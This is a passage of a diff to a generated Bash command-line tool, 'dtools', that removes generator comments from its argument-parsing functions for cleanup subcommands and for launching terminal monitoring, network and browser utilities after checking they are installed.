"$key" in @@ -20341,10 +18088,8 @@ dtools_install_java_parse_requirements() { esac done - # :command.command_filter action="install java" - # :command.parse_requirements_while while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -20355,8 +18100,7 @@ dtools_install_java_parse_requirements() { ;; *) - # :command.parse_requirements_case - # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 exit 1 @@ -20365,7 +18109,6 @@ dtools_install_java_parse_requirements() { esac done - # :command.user_filter filter_error=$(filter_debian_based_os) if [[ -n $filter_error ]]; then echo "$filter_error" >&2 @@ -20374,11 +18117,9 @@ dtools_install_java_parse_requirements() { } -# :command.parse_requirements dtools_clean_parse_requirements() { local key - # :command.fixed_flags_filter while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -20395,7 +18136,6 @@ dtools_clean_parse_requirements() { esac done - # :command.command_filter action=${1:-} case $action in @@ -20436,7 +18176,6 @@ dtools_clean_parse_requirements() { shift $# ;; - # :command.command_fallback "") dtools_clean_usage >&2 exit 1 @@ -20449,7 +18188,6 @@ dtools_clean_parse_requirements() { esac - # :command.parse_requirements_while while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -20460,8 +18198,7 @@ dtools_clean_parse_requirements() { ;; *) - # :command.parse_requirements_case - # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 exit 1 @@ -20472,11 +18209,9 @@ dtools_clean_parse_requirements() { } -# :command.parse_requirements dtools_clean_bleachbit_parse_requirements() { local key - # :command.fixed_flags_filter while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -20493,9 +18228,8 @@ dtools_clean_bleachbit_parse_requirements() { esac done - # :command.dependencies_filter missing_deps= - # :dependency.filter + if ! command -v bleachbit >/dev/null 2>&1; then printf "missing dependency: bleachbit\n" >&2 printf "%s\n\n" "Install from 'https://www.bleachbit.org/download'" >&2 @@ -20508,10 +18242,8 @@ dtools_clean_bleachbit_parse_requirements() { exit 1 fi - # :command.command_filter action="clean bleachbit" - # :command.parse_requirements_while while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -20522,8 +18254,7 @@ dtools_clean_bleachbit_parse_requirements() { ;; *) - # :command.parse_requirements_case - # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 exit 1 @@ -20534,11 +18265,9 @@ dtools_clean_bleachbit_parse_requirements() { } -# :command.parse_requirements dtools_clean_docker_parse_requirements() { local key - # :command.fixed_flags_filter while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -20555,9 +18284,8 @@ dtools_clean_docker_parse_requirements() { esac done - # :command.dependencies_filter missing_deps= - # :dependency.filter + if ! command -v docker >/dev/null 2>&1; then printf "missing dependency: docker\n" >&2 printf "%s\n\n" "Install with 'dtools install docker'" >&2 @@ -20570,10 +18298,8 @@ dtools_clean_docker_parse_requirements() { exit 1 fi - # :command.command_filter action="clean docker" - # :command.parse_requirements_while while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -20584,8 +18310,7 @@ dtools_clean_docker_parse_requirements() { ;; *) - # :command.parse_requirements_case - # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 exit 1 @@ -20596,11 +18321,9 @@ dtools_clean_docker_parse_requirements() { } -# :command.parse_requirements dtools_clean_package_caches_parse_requirements() { local key - # :command.fixed_flags_filter while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -20617,10 +18340,8 @@ dtools_clean_package_caches_parse_requirements() { esac done - # :command.command_filter action="clean package-caches" - # :command.parse_requirements_while while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -20631,8 +18352,7 @@ dtools_clean_package_caches_parse_requirements() { ;; *) - # :command.parse_requirements_case - # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 exit 1 @@ -20641,7 +18361,6 @@ dtools_clean_package_caches_parse_requirements() { esac done - # :command.user_filter filter_error=$(filter_debian_based_os) if [[ -n $filter_error ]]; then echo "$filter_error" >&2 @@ -20650,11 +18369,9 @@ dtools_clean_package_caches_parse_requirements() { } -# :command.parse_requirements dtools_clean_logs_parse_requirements() { local key - # :command.fixed_flags_filter while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -20671,10 +18388,8 @@ dtools_clean_logs_parse_requirements() { esac done - # :command.command_filter action="clean logs" - # :command.parse_requirements_while while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -20685,8 +18400,7 @@ dtools_clean_logs_parse_requirements() { ;; *) - # :command.parse_requirements_case - # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 exit 1 @@ -20697,11 +18411,9 @@ dtools_clean_logs_parse_requirements() { } -# :command.parse_requirements dtools_clean_build_caches_parse_requirements() { local key - # :command.fixed_flags_filter while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -20718,10 +18430,8 @@ dtools_clean_build_caches_parse_requirements() { esac done - # :command.command_filter action="clean build-caches" - # :command.parse_requirements_while while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -20732,9 +18442,7 @@ dtools_clean_build_caches_parse_requirements() { ;; *) - # :command.parse_requirements_case - # :command.parse_requirements_case_simple - # :argument.case + if [[ -z ${args['code-directory']+x} ]]; then args['code-directory']=$1 shift @@ -20748,7 +18456,6 @@ dtools_clean_build_caches_parse_requirements() { esac done - # :command.required_args_filter if [[ -z ${args['code-directory']+x} ]]; then printf "missing required argument: CODE-DIRECTORY\nusage: dtools clean build-caches CODE-DIRECTORY\n" >&2 @@ -20757,11 +18464,9 @@ dtools_clean_build_caches_parse_requirements() { } -# :command.parse_requirements dtools_tui_parse_requirements() { local key - # :command.fixed_flags_filter while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -20778,7 +18483,6 @@ dtools_tui_parse_requirements() { esac done - # :command.command_filter action=${1:-} case $action in @@ -20854,7 +18558,6 @@ dtools_tui_parse_requirements() { shift $# ;; - # :command.command_fallback "") dtools_tui_usage >&2 exit 1 @@ -20867,7 +18570,6 @@ dtools_tui_parse_requirements() { esac - # :command.parse_requirements_while while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -20878,8 +18580,7 @@ dtools_tui_parse_requirements() { ;; *) - # :command.parse_requirements_case - # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 exit 1 @@ -20890,11 +18591,9 @@ dtools_tui_parse_requirements() { } -# :command.parse_requirements dtools_tui_monitoring_parse_requirements() { local key - # :command.fixed_flags_filter while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -20911,7 +18610,6 @@ dtools_tui_monitoring_parse_requirements() { esac done - # :command.command_filter action=${1:-} case $action in @@ -20938,7 +18636,6 @@ dtools_tui_monitoring_parse_requirements() { shift $# ;; - # :command.command_fallback "") dtools_tui_monitoring_usage >&2 exit 1 @@ -20951,7 +18648,6 @@ dtools_tui_monitoring_parse_requirements() { esac - # :command.parse_requirements_while while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -20962,8 +18658,7 @@ dtools_tui_monitoring_parse_requirements() { ;; *) - # :command.parse_requirements_case - # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 exit 1 @@ -20974,11 +18669,9 @@ dtools_tui_monitoring_parse_requirements() { } -# :command.parse_requirements dtools_tui_monitoring_system_monitor_parse_requirements() { local key - # :command.fixed_flags_filter while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -20995,9 +18688,8 @@ dtools_tui_monitoring_system_monitor_parse_requirements() { esac done - # :command.dependencies_filter missing_deps= - # :dependency.filter + if ! command -v btop >/dev/null 2>&1; then printf "missing dependency: btop\n" >&2 printf "%s\n\n" "See 'https://github.com/aristocratos/btop'" >&2 @@ -21010,10 +18702,8 @@ dtools_tui_monitoring_system_monitor_parse_requirements() { exit 1 fi - # :command.command_filter action="tui monitoring system-monitor" - # :command.parse_requirements_while while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -21024,8 +18714,7 @@ dtools_tui_monitoring_system_monitor_parse_requirements() { ;; *) - # :command.parse_requirements_case - # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 exit 1 @@ -21036,11 +18725,9 @@ dtools_tui_monitoring_system_monitor_parse_requirements() { } -# :command.parse_requirements dtools_tui_monitoring_pihole_monitor_parse_requirements() { local key - # :command.fixed_flags_filter while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -21057,9 +18744,8 @@ dtools_tui_monitoring_pihole_monitor_parse_requirements() { esac done - # :command.dependencies_filter missing_deps= - # :dependency.filter + if ! command -v pimon >/dev/null 2>&1; then printf "missing dependency: pimon\n" >&2 printf "%s\n\n" "See 'https://github.com/Scratchcat1/pimon'" >&2 @@ -21072,10 +18758,8 @@ dtools_tui_monitoring_pihole_monitor_parse_requirements() { exit 1 fi - # :command.command_filter action="tui monitoring pihole-monitor" - # :command.parse_requirements_while while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -21086,8 +18770,7 @@ dtools_tui_monitoring_pihole_monitor_parse_requirements() { ;; *) - # :command.parse_requirements_case - # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 exit 1 @@ -21098,11 +18781,9 @@ dtools_tui_monitoring_pihole_monitor_parse_requirements() { } -# :command.parse_requirements dtools_tui_monitoring_kernel_monitor_parse_requirements() { local key - # :command.fixed_flags_filter while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -21119,9 +18800,8 @@ dtools_tui_monitoring_kernel_monitor_parse_requirements() { esac done - # :command.dependencies_filter missing_deps= - # :dependency.filter + if ! command -v kmon >/dev/null 2>&1; then printf "missing dependency: kmon\n" >&2 printf "%s\n\n" "See 'https://github.com/orhun/kmon'" >&2 @@ -21134,10 +18814,8 @@ dtools_tui_monitoring_kernel_monitor_parse_requirements() { exit 1 fi - # :command.command_filter action="tui monitoring kernel-monitor" - # :command.parse_requirements_while while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -21148,8 +18826,7 @@ dtools_tui_monitoring_kernel_monitor_parse_requirements() { ;; *) - # :command.parse_requirements_case - # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 exit 1 @@ -21160,11 +18837,9 @@ dtools_tui_monitoring_kernel_monitor_parse_requirements() { } -# :command.parse_requirements dtools_tui_network_monitoring_parse_requirements() { local key - # :command.fixed_flags_filter while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -21181,7 +18856,6 @@ dtools_tui_network_monitoring_parse_requirements() { esac done - # :command.command_filter action=${1:-} case $action in @@ -21222,7 +18896,6 @@ dtools_tui_network_monitoring_parse_requirements() { shift $# ;; - # :command.command_fallback "") dtools_tui_network_monitoring_usage >&2 exit 1 @@ -21235,7 +18908,6 @@ dtools_tui_network_monitoring_parse_requirements() { esac - # :command.parse_requirements_while while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -21246,8 +18918,7 @@ dtools_tui_network_monitoring_parse_requirements() { ;; *) - # :command.parse_requirements_case - # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 exit 1 @@ -21258,11 +18929,9 @@ dtools_tui_network_monitoring_parse_requirements() { } -# :command.parse_requirements dtools_tui_network_monitoring_wavemon_parse_requirements() { local key - # :command.fixed_flags_filter while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -21279,9 +18948,8 @@ dtools_tui_network_monitoring_wavemon_parse_requirements() { esac done - # :command.dependencies_filter missing_deps= - # :dependency.filter + if ! command -v wavemon >/dev/null 2>&1; then printf "missing dependency: wavemon\n" >&2 printf "%s\n\n" "See 'https://github.com/uoaerg/wavemon'" >&2 @@ -21294,10 +18962,8 @@ dtools_tui_network_monitoring_wavemon_parse_requirements() { exit 1 fi - # :command.command_filter action="tui network-monitoring wavemon" - # :command.parse_requirements_while while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -21308,8 +18974,7 @@ dtools_tui_network_monitoring_wavemon_parse_requirements() { ;; *) - # :command.parse_requirements_case - # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 exit 1 @@ -21320,11 +18985,9 @@ dtools_tui_network_monitoring_wavemon_parse_requirements() { } -# :command.parse_requirements dtools_tui_network_monitoring_network_diags_parse_requirements() { local key - # :command.fixed_flags_filter while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -21341,9 +19004,8 @@ dtools_tui_network_monitoring_network_diags_parse_requirements() { esac done - # :command.dependencies_filter missing_deps= - # :dependency.filter + if ! command -v trippy >/dev/null 2>&1; then printf "missing dependency: trippy\n" >&2 printf "%s\n\n" "See 'https://github.com/fujiapple852/trippy'" >&2 @@ -21356,10 +19018,8 @@ dtools_tui_network_monitoring_network_diags_parse_requirements() { exit 1 fi - # :command.command_filter action="tui network-monitoring network-diags" - # :command.parse_requirements_while while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -21370,8 +19030,7 @@ dtools_tui_network_monitoring_network_diags_parse_requirements() { ;; *) - # :command.parse_requirements_case - # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 exit 1 @@ -21382,11 +19041,9 @@ dtools_tui_network_monitoring_network_diags_parse_requirements() { } -# :command.parse_requirements dtools_tui_network_monitoring_ip_traffic_parse_requirements() { local key - # :command.fixed_flags_filter while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -21403,9 +19060,8 @@ dtools_tui_network_monitoring_ip_traffic_parse_requirements() { esac done - # :command.dependencies_filter missing_deps= - # :dependency.filter + if ! command -v iptraf >/dev/null 2>&1; then printf "missing dependency: iptraf\n" >&2 printf "%s\n\n" "See 'http://iptraf.seul.org/'" >&2 @@ -21418,10 +19074,8 @@ dtools_tui_network_monitoring_ip_traffic_parse_requirements() { exit 1 fi - # :command.command_filter action="tui network-monitoring ip-traffic" - # :command.parse_requirements_while while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -21432,8 +19086,7 @@ dtools_tui_network_monitoring_ip_traffic_parse_requirements() { ;; *) - # :command.parse_requirements_case - # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 exit 1 @@ -21444,11 +19097,9 @@ dtools_tui_network_monitoring_ip_traffic_parse_requirements() { } -# :command.parse_requirements dtools_tui_network_monitoring_socket_stats_parse_requirements() { local key - # :command.fixed_flags_filter while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -21465,9 +19116,8 @@ dtools_tui_network_monitoring_socket_stats_parse_requirements() { esac done - # :command.dependencies_filter missing_deps= - # :dependency.filter + if ! command -v neoss >/dev/null 2>&1; then printf "missing dependency: neoss\n" >&2 printf "%s\n\n" "See 'https://github.com/PabloLec/neoss'" >&2 @@ -21480,10 +19130,8 @@ dtools_tui_network_monitoring_socket_stats_parse_requirements() { exit 1 fi - # :command.command_filter action="tui network-monitoring socket-stats" - # :command.parse_requirements_while while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -21494,8 +19142,7 @@ dtools_tui_network_monitoring_socket_stats_parse_requirements() { ;; *) - # :command.parse_requirements_case - # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 exit 1 @@ -21506,11 +19153,9 @@ dtools_tui_network_monitoring_socket_stats_parse_requirements() { } -# :command.parse_requirements dtools_tui_network_monitoring_netscanner_parse_requirements() { local key - # :command.fixed_flags_filter while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -21527,9 +19172,8 @@ dtools_tui_network_monitoring_netscanner_parse_requirements() { esac done - # :command.dependencies_filter missing_deps= - # :dependency.filter + if ! command -v netscanner >/dev/null 2>&1; then printf "missing dependency: netscanner\n" >&2 printf "%s\n\n" "See 'https://github.com/Chleba/netscanner'" >&2 @@ -21542,10 +19186,8 @@ dtools_tui_network_monitoring_netscanner_parse_requirements() { exit 1 fi - # :command.command_filter action="tui network-monitoring netscanner" - # :command.parse_requirements_while while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -21556,8 +19198,7 @@ dtools_tui_network_monitoring_netscanner_parse_requirements() { ;; *) - # :command.parse_requirements_case - # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 exit 1 @@ -21568,11 +19209,9 @@ dtools_tui_network_monitoring_netscanner_parse_requirements() { } -# :command.parse_requirements dtools_tui_network_parse_requirements() { local key - # :command.fixed_flags_filter while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -21589,7 +19228,6 @@ dtools_tui_network_parse_requirements() { esac done - # :command.command_filter action=${1:-} case $action in @@ -21707,7 +19345,6 @@ dtools_tui_network_parse_requirements() { shift $# ;; - # :command.command_fallback "") dtools_tui_network_usage >&2 exit 1 @@ -21720,7 +19357,6 @@ dtools_tui_network_parse_requirements() { esac - # :command.parse_requirements_while while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -21731,8 +19367,7 @@ dtools_tui_network_parse_requirements() { ;; *) - # :command.parse_requirements_case - # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 exit 1 @@ -21743,11 +19378,9 @@ dtools_tui_network_parse_requirements() { } -# :command.parse_requirements dtools_tui_network_network_manager_parse_requirements() { local key - # :command.fixed_flags_filter while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -21764,9 +19397,8 @@ dtools_tui_network_network_manager_parse_requirements() { esac done - # :command.dependencies_filter missing_deps= - # :dependency.filter + if ! command -v nmtui >/dev/null 2>&1; then printf "missing dependency: nmtui\n" >&2 printf "%s\n\n" "See 'https://docs.redhat.com/en/documentation/red_hat_enterprise_linux/7/html/networking_guide/sec-configuring_ip_networking_with_nmtui'" >&2 @@ -21779,10 +19411,8 @@ dtools_tui_network_network_manager_parse_requirements() { exit 1 fi - # :command.command_filter action="tui network network-manager" - # :command.parse_requirements_while while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -21793,8 +19423,7 @@ dtools_tui_network_network_manager_parse_requirements() { ;; *) - # :command.parse_requirements_case - # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 exit 1 @@ -21805,11 +19434,9 @@ dtools_tui_network_network_manager_parse_requirements() { } -# :command.parse_requirements dtools_tui_network_bluetooth_manager_parse_requirements() { local key - # :command.fixed_flags_filter while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -21826,9 +19453,8 @@ dtools_tui_network_bluetooth_manager_parse_requirements() { esac done - # :command.dependencies_filter missing_deps= - # :dependency.filter + if ! command -v bluetuith >/dev/null 2>&1; then printf "missing dependency: bluetuith\n" >&2 printf "%s\n\n" "See 'https://github.com/bluetuith-org/bluetuith'" >&2 @@ -21841,10 +19467,8 @@ dtools_tui_network_bluetooth_manager_parse_requirements() { exit 1 fi - # :command.command_filter action="tui network bluetooth-manager" - # :command.parse_requirements_while while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -21855,8 +19479,7 @@ dtools_tui_network_bluetooth_manager_parse_requirements() { ;; *) - # :command.parse_requirements_case - # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 exit 1 @@ -21867,11 +19490,9 @@ dtools_tui_network_bluetooth_manager_parse_requirements() { } -# :command.parse_requirements dtools_tui_network_wireguard_config_parse_requirements() { local key - # :command.fixed_flags_filter while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -21888,9 +19509,8 @@ dtools_tui_network_wireguard_config_parse_requirements() { esac done - # :command.dependencies_filter missing_deps= - # :dependency.filter + if ! command -v wg-cmd >/dev/null 2>&1; then printf "missing dependency: wg-cmd\n" >&2 printf "%s\n\n" "See 'https://github.com/andrianbdn/wg-cmd'" >&2 @@ -21903,10 +19523,8 @@ dtools_tui_network_wireguard_config_parse_requirements() { exit 1 fi - # :command.command_filter action="tui network wireguard-config" - # :command.parse_requirements_while while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -21917,8 +19535,7 @@ dtools_tui_network_wireguard_config_parse_requirements() { ;; *) - # :command.parse_requirements_case - # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 exit 1 @@ -21929,11 +19546,9 @@ dtools_tui_network_wireguard_config_parse_requirements() { } -# :command.parse_requirements dtools_tui_network_mitm_proxy_parse_requirements() { local key - # :command.fixed_flags_filter while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -21950,9 +19565,8 @@ dtools_tui_network_mitm_proxy_parse_requirements() { esac done - # :command.dependencies_filter missing_deps= - # :dependency.filter + if ! command -v mitmproxy >/dev/null 2>&1; then printf "missing dependency: mitmproxy\n" >&2 printf "%s\n\n" "See 'https://www.mitmproxy.org/'" >&2 @@ -21965,10 +19579,8 @@ dtools_tui_network_mitm_proxy_parse_requirements() { exit 1 fi - # :command.command_filter action="tui network mitm-proxy" - # :command.parse_requirements_while while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -21979,8 +19591,7 @@ dtools_tui_network_mitm_proxy_parse_requirements() { ;; *) - # :command.parse_requirements_case - # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 exit 1 @@ -21991,11 +19602,9 @@ dtools_tui_network_mitm_proxy_parse_requirements() { } -# :command.parse_requirements dtools_tui_network_proxy_parse_requirements() { local key - # :command.fixed_flags_filter while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -22012,9 +19621,8 @@ dtools_tui_network_proxy_parse_requirements() { esac done - # :command.dependencies_filter missing_deps= - # :dependency.filter + if ! command -v proxyfor >/dev/null 2>&1; then printf "missing dependency: proxyfor\n" >&2 printf "%s\n\n" "See 'https://github.com/sigoden/proxyfor'" >&2 @@ -22027,10 +19635,8 @@ dtools_tui_network_proxy_parse_requirements() { exit 1 fi - # :command.command_filter action="tui network proxy" - # :command.parse_requirements_while while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -22041,8 +19647,7 @@ dtools_tui_network_proxy_parse_requirements() { ;; *) - # :command.parse_requirements_case - # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 exit 1 @@ -22053,11 +19658,9 @@ dtools_tui_network_proxy_parse_requirements() { } -# :command.parse_requirements dtools_tui_network_proxymock_parse_requirements() { local key - # :command.fixed_flags_filter while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -22074,9 +19677,8 @@ dtools_tui_network_proxymock_parse_requirements() { esac done - # :command.dependencies_filter missing_deps= - # :dependency.filter + if ! command -v proxymock >/dev/null 2>&1; then printf "missing dependency: proxymock\n" >&2 printf "%s\n\n" "See 'https://speedscale.com/proxymock/'" >&2 @@ -22089,10 +19691,8 @@ dtools_tui_network_proxymock_parse_requirements() { exit 1 fi - # :command.command_filter action="tui network proxymock" - # :command.parse_requirements_while while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -22103,8 +19703,7 @@ dtools_tui_network_proxymock_parse_requirements() { ;; *) - # :command.parse_requirements_case - # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 exit 1 @@ -22115,11 +19714,9 @@ dtools_tui_network_proxymock_parse_requirements() { } -# :command.parse_requirements dtools_tui_network_http_load_generator_parse_requirements() { local key - # :command.fixed_flags_filter while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -22136,9 +19733,8 @@ dtools_tui_network_http_load_generator_parse_requirements() { esac done - # :command.dependencies_filter missing_deps= - # :dependency.filter + if ! command -v oha >/dev/null 2>&1; then printf "missing dependency: oha\n" >&2 printf "%s\n\n" "See 'https://github.com/hatoo/oha'" >&2 @@ -22151,10 +19747,8 @@ dtools_tui_network_http_load_generator_parse_requirements() { exit 1 fi - # :command.command_filter action="tui network http-load-generator" - # :command.parse_requirements_while while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -22165,8 +19759,7 @@ dtools_tui_network_http_load_generator_parse_requirements() { ;; *) - # :command.parse_requirements_case - # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 exit 1 @@ -22177,11 +19770,9 @@ dtools_tui_network_http_load_generator_parse_requirements() { } -# :command.parse_requirements dtools_tui_network_ping_parse_requirements() { local key - # :command.fixed_flags_filter while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -22198,9 +19789,8 @@ dtools_tui_network_ping_parse_requirements() { esac done - # :command.dependencies_filter missing_deps= - # :dependency.filter + if ! command -v gping >/dev/null 2>&1; then printf "missing dependency: gping\n" >&2 printf "%s\n\n" "See 'https://github.com/orf/gping'" >&2 @@ -22213,10 +19803,8 @@ dtools_tui_network_ping_parse_requirements() { exit 1 fi - # :command.command_filter action="tui network ping" - # :command.parse_requirements_while while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -22227,8 +19815,7 @@ dtools_tui_network_ping_parse_requirements() { ;; *) - # :command.parse_requirements_case - # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 exit 1 @@ -22239,11 +19826,9 @@ dtools_tui_network_ping_parse_requirements() { } -# :command.parse_requirements dtools_tui_network_full_browser_parse_requirements() { local key - # :command.fixed_flags_filter while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -22260,9 +19845,8 @@ dtools_tui_network_full_browser_parse_requirements() { esac done - # :command.dependencies_filter missing_deps= - # :dependency.filter + if ! command -v browsh >/dev/null 2>&1; then printf "missing dependency: browsh\n" >&2 printf "%s\n\n" "See 'https://www.brow.sh/'" >&2 @@ -22275,10 +19859,8 @@ dtools_tui_network_full_browser_parse_requirements() { exit 1 fi - # :command.command_filter action="tui network full-browser" - # :command.parse_requirements_while while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -22289,8 +19871,7 @@ dtools_tui_network_full_browser_parse_requirements() { ;; *) - # :command.parse_requirements_case - # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 exit 1 @@ -22301,11 +19882,9 @@ dtools_tui_network_full_browser_parse_requirements() { } -# :command.parse_requirements dtools_tui_network_elinks_parse_requirements() { local key - # :command.fixed_flags_filter while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -22322,9 +19901,8 @@ dtools_tui_network_elinks_parse_requirements() { esac done - # :command.dependencies_filter missing_deps= - # :dependency.filter + if ! command -v elinks >/dev/null 2>&1; then printf "missing dependency: elinks\n" >&2 printf "%s\n\n" "See 'http://elinks.or.cz/'" >&2 @@ -22337,10 +19915,8 @@ dtools_tui_network_elinks_parse_requirements() { exit 1 fi - # :command.command_filter action="tui network elinks" - # :command.parse_requirements_while while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -22351,8 +19927,7 @@ dtools_tui_network_elinks_parse_requirements() { ;; *) - # :command.parse_requirements_case - # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 exit 1 @@ -22363,11 +19938,9 @@ dtools_tui_network_elinks_parse_requirements() { } -# :command.parse_requirements dtools_tui_network_w3m_parse_requirements() { local key - # :command.fixed_flags_filter while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -22384,9 +19957,8 @@ dtools_tui_network_w3m_parse_requirements() { esac done - # :command.dependencies_filter missing_deps= - # :dependency.filter + if ! command -v w3m >/dev/null 2>&1; then printf "missing dependency: w3m\n" >&2 printf "%s\n\n" "See 'https://github.com/acg/w3m'" >&2 @@ -22399,10 +19971,8 @@ dtools_tui_network_w3m_parse_requirements() { exit 1 fi - # :command.command_filter action="tui network w3m" - # :command.parse_requirements_while while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -22413,8 +19983,7 @@ dtools_tui_network_w3m_parse_requirements() { ;; *) - # :command.parse_requirements_case - # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 exit 1 @@ -22425,11 +19994,9 @@ dtools_tui_network_w3m_parse_requirements() { } -# :command.parse_requirements dtools_tui_network_lynx_parse_requirements() { local key - # :command.fixed_flags_filter while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -22446,9 +20013,8 @@ dtools_tui_network_lynx_parse_requirements() { esac done - # :command.dependencies_filter missing_deps= - # :dependency.filter + if ! command -v lynx >/dev/null 2>&1; then printf "missing dependency: lynx\n" >&2 printf "%s\n\n" "See 'https://lynx.browser.org/'" >&2 @@ -22461,10 +20027,8 @@ dtools_tui_network_lynx_parse_requirements() { exit 1 fi - # :command.command_filter action="tui network lynx" - # :command.parse_requirements_while while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -22475,8 +20039,7 @@ dtools_tui_network_lynx_parse_requirements() { ;; *) - # :command.parse_requirements_case - # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 exit 1 @@ -22487,11 +20050,9 @@ dtools_tui_network_lynx_parse_requirements() { } -# :command.parse_requirements dtools_tui_network_carbonyl_parse_requirements() { local key - # :command.fixed_flags_filter while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -22508,9 +20069,8 @@ dtools_tui_network_carbonyl_parse_requirements() { esac done - # :command.dependencies_filter missing_deps= - # :dependency.filter + if ! command -v carbonyl >/dev/null 2>&1; then printf "missing dependency: carbonyl\n" >&2 printf "%s\n\n" "See 'https://github.com/fathyb/carbonyl'" >&2 @@ -22523,10 +20083,8 @@ dtools_tui_network_carbonyl_parse_requirements() { exit 1 fi - # :command.command_filter action="tui network carbonyl" - # :command.parse_requirements_while while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -22537,8 +20095,7 @@ dtools_tui_network_carbonyl_parse_requirements() { ;; *) - # :command.parse_requirements_case - # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 exit 1 @@ -22549,11 +20106,9 @@ dtools_tui_network_carbonyl_parse_requirements() { } -# :command.parse_requirements dtools_tui_network_http_request_client_parse_requirements() { local key - # :command.fixed_flags_filter while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -22570,9 +20125,8 @@ dtools_tui_network_http_request_client_parse_requirements() { esac done - # :command.dependencies_filter missing_deps= - # :dependency.filter + if ! command -v wuzz >/dev/null 2>&1; then printf "missing 